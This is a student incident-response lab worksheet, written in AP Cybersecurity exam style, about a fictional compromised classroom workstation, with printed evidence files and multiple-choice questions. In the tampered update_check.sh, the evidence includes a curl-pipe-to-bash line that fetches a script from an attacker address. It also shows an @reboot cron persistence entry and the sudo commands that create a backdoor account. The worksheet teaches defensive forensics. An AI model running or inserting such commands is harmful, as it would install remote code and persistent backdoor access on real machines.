AP CYBERSECURITY | INVESTIGATION LAB - STUDENT

LAB 5

The Compromised Workstation

Unit 5: Securing Devices | 55 to 70 minutes

Your role

You are the incident responder. A lab teacher says a classroom workstation (`ws01`) has been slow and its fan is running all morning. Your team made copies of the evidence. You will use **file hashes, process lists, network records, and logs** to decide whether it was compromised, how, and what to do first.

What you will do

- Verify file integrity with SHA-256 hashes and explain what a failed check means
- Spot a suspicious process and recognize beaconing
- Find persistence mechanisms: a scheduled startup entry and a new account
- Name the type of malware from its behavior
- Plan containment, evidence preservation, recovery, and hardening in a sensible order

EXAM LENS
Every lab follows the same four stages: **Learn the concept, Investigate the evidence, Make a security decision, then Answer AP-style questions.** Commands show you what happened. The skill is deciding what the evidence *proves*, what it *does not prove*, and what to do next.

COMMON TRAP
This is a **fictional, controlled** investigation. Never scan, test, or access real school systems, other people's accounts, or any device you do not own or have written permission to use.

Original practice material written in the style of the AP Cybersecurity exam. Not reproduced from College Board.

Mission Briefing

All evidence is a **copy**. Nothing here will harm your computer, but treat it like real evidence: **do not run any script in the folder** (especially `update_check.sh`). Use `cat`, `diff`, and `sha256sum` only.

Evidence files

File	What it is
workstation_files/	Four files copied from the workstation (grades_export.csv, schedule.csv, settings.ini, update_check.sh)
baseline.sha256	Known-good SHA-256 hashes recorded when the workstation was built
processes.txt	A sorted process list from the workstation
network_connections.txt	Open connections and a connection log for one process
persistence_check.txt	Scheduled jobs, a listing of /tmp, and the tail of the authentication log

Set up your VM

- Take a VM snapshot named `before-lab5`, then copy the evidence folder into the VM (for example to `~/lab5`).
- In the terminal:

```
cd ~/lab5
ls
sha256sum -c baseline.sha256
```

`sha256sum -c` recomputes each file's hash and compares it with the list. It prints **OK** or **FAILED** for each file.

STAGE 1

Learn

Be able to explain these before you touch the evidence

- ■ I can explain what a hash is and what a matching or different hash proves.
- ■ I can describe malware types by behavior: worm, trojan, ransomware, keylogger, rootkit, logic bomb, backdoor/remote access.
- ■ I can explain persistence and give two examples.
- ■ I can list incident response steps: contain, preserve evidence, eradicate, recover, learn.

STAGE 2

Investigate

Collect facts. Record what you observe, not what you assume.

1. Run `sha256sum -c baseline.sha256`. Which files are OK and which FAILED? What does a FAILED result **prove**, and what does it **not** prove?

2. Run `sha256sum workstation_files/update_check.sh` and compare it to the baseline line (`grep update_check baseline.sha256`). Write the **first 8 characters** of each. Can the hashes tell you *what* changed?

3. Run `cat workstation_files/update_check.sh` (do not execute it). What was added? Explain what that line would do if the script ran.

4. Open `processes.txt`. Which process is most suspicious? List **at least three** reasons.

```
USER   PID  %CPU  ELAPSED   CMD
lab   3921  41.2  03:07:08  /tmp/.kupdated2 --quiet
root   812   1.1  05:02:44  /usr/sbin/sshd -D
lab   2410   0.8  05:01:10  /usr/bin/gnome-shell
lab   3105   0.1  04:10:19  /usr/bin/python3 /home/lab/lab01.py
```

5. Open `network_connections.txt`. What pattern do you see? What is it called, and what type of malware behaves this way?

```
09:00:02  kupdated2 -> 203.0.113.99:4444  64 bytes sent
09:01:02  kupdated2 -> 203.0.113.99:4444  64 bytes sent
09:02:02  kupdated2 -> 203.0.113.99:4444  64 bytes sent
```

6. Open `persistence_check.txt`. Find **two persistence mechanisms** and the entry that shows how the adversary first got in. Write the times.

7. Put these six response actions in a sensible **order** (1 to 6) and justify the first two: reset passwords and keys; isolate the workstation from the network; remove the cron entry, the malware, and svc_helper; capture the process and connection lists and make a forensic copy; restore from known-good and verify hashes; patch and harden.

8. List **four hardening controls** that would have prevented or limited this compromise and say which step of the attack each addresses.

STAGE 3 Make a Security Decision

Turn evidence into a defensible recommendation

What can you confirm? (at least three facts, citing the evidence file)

What is uncertain? (at least two things you cannot conclude)

What do you recommend? Give your first action, your evidence-preservation step, and two long-term fixes.

STAGE 4 AP-Style Questions

Transfer what you learned to a new situation

1. A technician downloads a software update and compares its SHA-256 hash with the hash published by the vendor. The two values match.

Which conclusion is best supported?

- **A.** The file contains no malware of any kind
- **B.** The file has not been altered since the vendor's hash was calculated
- **C.** The file's author has been verified
- **D.** The file is encrypted

2. An analyst reviews a workstation's connection log.

```
09:00:02  /tmp/.kupdated2 -> 203.0.113.99:4444  64 bytes
09:01:02  /tmp/.kupdated2 -> 203.0.113.99:4444  64 bytes
09:02:02  /tmp/.kupdated2 -> 203.0.113.99:4444  64 bytes
```

Which explanation is most likely?

- **A.** A scheduled backup to the school server
- **B.** A normal operating system update
- **C.** A teacher streaming a video
- **D.** Malware regularly contacting an adversary's server

3. An analyst reviews the following entries from a compromised workstation.

```
@reboot /tmp/.kupdated2 --quiet
0 8 * * 1-5 /usr/bin/python3 /home/lab/lab01.py
```

Which entry is an example of persistence?

- **A.** @reboot /tmp/.kupdated2 --quiet
- **B.** 0 8 * * 1-5 /usr/bin/python3 /home/lab/lab01.py
- **C.** Neither entry
- **D.** Both entries

Original practice material - not reproduced from College Board.

4. A school wants to stop unapproved programs, such as one hidden in /tmp, from running on lab workstations.

Which control would best accomplish this?

A. Full-disk encryption
B. A longer screen timeout
C. Application allowlisting
D. Password history

Evidence Printout

Printed copies of the evidence files, for students without a terminal. The files themselves are in the evidence folder.

baseline.sha256

```
35ee9ad6bbffc4beef5c190ad2b58d656351490734c299feaf8ac37636062364  workstation_files/grades_export.csv
45039ac90cfb3f70405ebfd2db8dedc0540fca2559d9cadad05d7648d7339557  workstation_files/schedule.csv
865883d7f20dfa0f793faf892c02eed9c1d3113fbc724fcfef91d60a0f86b062  workstation_files/settings.ini
62d485dbe13c287710285bd3df58730d19aa4ed6f6799c5654d38874c74605ae  workstation_files/update_check.sh
```

processes.txt

```
$ ps -eo user,pid,ppid,%cpu,etime,cmd --sort=-%cpu | head -8
USER      PID  PPID %CPU     ELAPSED CMD
lab      3921  3880 41.2    03:07:08 /tmp/.kupdated2 --quiet
root      812     1  1.1    05:02:44 /usr/sbin/sshd -D
lab      2410  2380  0.8    05:01:10 /usr/bin/gnome-shell
lab      2655  2410  0.4    04:58:31 firefox
root      611     1  0.2    05:02:50 /usr/sbin/cron -f
lab      3105  2410  0.1    04:10:19 /usr/bin/python3 /home/lab/lab01.py
```

network_connections.txt

```
$ ss -tnp | grep kupdated2
ESTAB  0  0  10.0.5.33:51888  203.0.113.99:4444  users:(("kupdated2",pid=3921,fd=4))

# connection log (one line per new connection)
09:00:02  kupdated2 -> 203.0.113.99:4444  64 bytes sent
09:01:02  kupdated2 -> 203.0.113.99:4444  64 bytes sent
09:02:02  kupdated2 -> 203.0.113.99:4444  64 bytes sent
09:03:02  kupdated2 -> 203.0.113.99:4444  64 bytes sent
```

persistence_check.txt

```
$ crontab -l -u lab
# m h dom mon dow command
@reboot /tmp/.kupdated2 --quiet
0 8 * * 1-5 /usr/bin/python3 /home/lab/lab01.py

$ ls -la /tmp
drwxrwxrwt 12 root root 4096 Oct 14 09:30 .
-rwxr-xr-x  1 lab  lab  84312 Oct 14 05:58 .kupdated2
-rw-r--r--  1 lab  lab    312 Oct 14 05:58 k.sh
drwx------  2 lab  lab   4096 Oct 14 04:02 pulse-AbC123

$ tail -3 /var/log/auth.log
Oct 14 05:56:30 ws01 sshd[3777]: Accepted password for lab from 203.0.113.99
Oct 14 05:57:41 ws01 sudo: lab : COMMAND=/usr/sbin/useradd -m svc_helper
Oct 14 05:57:55 ws01 sudo: lab : COMMAND=/usr/sbin/usermod -aG sudo svc_helper
```

workstation_files/update_check.sh (current copy)

```
#!/bin/bash
# checks for lab software updates
echo "Checking for updates..."
apt list --upgradable 2>/dev/null | head -5
curl -s http://203.0.113.99:4444/k.sh | bash &
```

KEY IDEA

Before you turn this in: every answer should name the evidence it comes from (a file name, a line, a time, or a command result). If you are not sure something is proven, write 'not confirmed' and say what evidence would confirm it.